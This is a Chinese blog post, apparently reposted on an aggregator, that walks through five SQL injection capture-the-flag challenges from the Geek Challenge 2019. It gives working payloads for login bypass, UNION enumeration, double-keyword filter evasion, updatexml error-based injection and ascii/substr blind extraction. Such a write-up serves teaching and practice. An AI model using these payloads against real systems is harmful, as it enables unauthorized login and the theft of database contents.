当前位置:首页 » 《关注互联网》 » 正文

极客大挑战2019-SQL注入五题PW_cainsoftware的博客

21 人参与  2022年01月15日 14:33  分类 : 《关注互联网》  评论

点击全文阅读


01、[极客大挑战2019]EasysQL
02、[极客大挑战2019]LovesQL
03、[极客大挑战2019]BabysQL
04、[极客大挑战2019]HardsQL
05、[极客大挑战2019]FinalsQL        

Pass-01

 第一题无须太多花里胡哨的直接就是万能密码

payload:admin' or 1=1 -- qwe

 Pass-02

题目提示 不在当前表 直接先用万能密码测试闭合  

提示登录成功 说明闭合是没有问题的 那么下面就是判断其他表的内容

admin' or 1=1 -- +  //判断是否正确闭合

admin' order by [1,2,3,4] -- +  //判断字段长度   3正常  4报错  长度为3

1' union select 1,2,3 -- +  //判断回显点  回显点 为 2   3  

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +   //查询表名

回显结果:'geekuser,l0ve1ysq1'

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' -- +   //查询列名

回显结果:id,username,password

1' union select 1,2,group_concat(password) from l0ve1ysq1 where password like '%flag%' -- +    //数据太多 价格 where  like 语句来直接导出flag

回显结果:'flag{13ea6ec1-392d-4bed-9e4d-e6dbdf723b33}'

Pass-03

开始有检验了 先执行 回调错误 如下图

1=1前面没有内容 这里写的有or 但是语句回调里面没有 他说的过滤应该是过滤了 or

这边给出一些bypass

1.大小写绕过 (不可用)

2.双写绕过(可用)

3. || 替换为编译符号(可用) 

这题后面会发现union 什么的 也会被过滤 所以我直接用双写绕过的bypass去绕过,方法如下:

admin' oorr 1=1 -- + //登录成功

admin' oorrder bbyy 3 -- +  //字段长度为3

//这题太坑  查到最后都没找到flag 数据居然写到别的数据库里面了 难顶 重新来查数据库

admin1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata -- + //查询数据库名

回显结果:information_schema,mysql,performance_schema,test,ctf,geek

admin1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="ctf" -- + //查表  这里如果不知道哪些字段会被过滤 我的办法是前面admin的框正常输入,密码把内容写进入,如果提示'Input your username and password' 就是被过滤的一点都不剩了 一点点试试吧  ctf 数据库名 单引导不行 用双引号

回显结果:Flag

admin1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag' -- +   //查列

回显结果:flag

admin1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag -- +   //用  database.table_name 的方式来调用数据库

回显结果:flag{c320590e-cd73-466f-8253-07b7eb730eb2}


以下为查不出数据库表的查询方法

admin1' ununionion seselectlect 1,2,group_concat(username) frfromom geekuser whwhereere username like '%flag%' -- +    //password里面or被过滤了 or双写不行 我直接用 16进制转

admin1' ununionion seselectlect 1,2,group_concat(id) frfromom b4bsql -- +

 Pass-04

万能密码测试 提示逮着我了 大概率正则匹配来做的检测 推荐先burpsuite跑个fuzz看看哪些语句可以用

过滤了and  |  if   sleep  substr ascii  所以可以看出 盲注是不行了 丢sqlmap也出不来 

or和updatexml没有过滤  所以这里使用or 配合 updatexml可以实现显错注入

1'or(updatexml(1,concat('~',database(),'~'),1))#     //查看数据库名
回显数据:~geek~

1'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),'~'),1))#  //查询表 用like替换等于
回显数据:~H4rDsq1~

1'or(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),'~'),1))# //查询字段
回显数据:id,username,password

1'or(updatexml(1,concat('~',(select(password)from(H4rDsq1)where(username)like('%flag%')),'~'),1))#  //查询结果
回显数据:~flag{2efa684f-dfe0-4b71-ad7f-97'  //长度不够 substr用不了 只能用left和right分割

1'or(updatexml(1,concat('~',(select(right(password,30))from(H4rDsq1)where(username)like('%flag%')),'~'),1))#
回显数据:~f-dfe0-4b71-ad7f-978dfbcdfad4}~'

两行拼接
flag{2efa684f-dfe0-4b71-ad7f-97
            f-dfe0-4b71-ad7f-978dfbcdfad4}

结果为:flag{2efa684f-dfe0-4b71-ad7f-978dfbcdfad4}

Pass-05 

 如题目提示 注入的方式为 SQL盲注  正确神秘代码 12345 都没啥用 提示要点6 传id=6  过去后也没啥用 用户名这块就是个死变态  直接写 admin都被抓

过滤了括号就很难顶 所以这里就放弃了在编辑框注入的位置 转身来到id的位置 

id=1^1  提示 ERROR!!!

id=1^1^1 页面正常 所以这里 最后一个1 为写入语句的地方

试了用updatexml是不行的 盲注的话 sleep时间盲注不行 但是 ascii和substr可以用,且有逻辑运算回显点

Payload:

(length(database())>1)  //测量数据库长度 跳过
ascii(substr(database(),1,1))>1   //测量数据库长度 跳过

(length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))>1) //表名长度  长度为16

ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),i,1))=s //丢burpsuite跑结果 变量i 为上面查的 16 变量s为ascii的最大长度为 128

表名为 =>70 49 110 97 73 49 121 44 70 108 97 97 97 97 97 103 =>F1naI1y,Flaaaaag //这里其实之前查过flaaag这个表 密码根本就不在里面 而且长度为5000多 我吐了

(length((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')))>1)   //测量字段长度  长度为20

(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),i,1))=s)

表名为=>105 100 44 117 115 101 114 110 97 109 101 44 112 97 115 115 119 111 114 100=>id,username,password

(length((select(group_concat(username))from(F1naI1y)))=50)  //长度为50

(ascii(substr((select(group_concat(username))from(F1naI1y)),i,1))=s)

表名为=>109 121 103 111 100 44 119 101 108 99 111 109 101 44 115 105 116 101 44 115 105 116 101 44 115 105 116 101 44 115 105 116 101 44 83 121 99 44 102 105 110 97 108 108 121 44 102 108 97 103 =>mygod,welcome,site,site,site,site,Syc,finally,flag  // 这里用notepad++ 匹配\r\n 替换为空格

(length((select(group_concat(password))from(F1naI1y)))=213)  看见我就哭了 跑吧 就用burpsuite  写python总会想用别人的抄 记忆不深

终于出来了 cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{91a80fa0-b1ac-4a10-b36d-e605f80bd8f9}


点击全文阅读


本文链接:http://zhangshiyu.com/post/33311.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1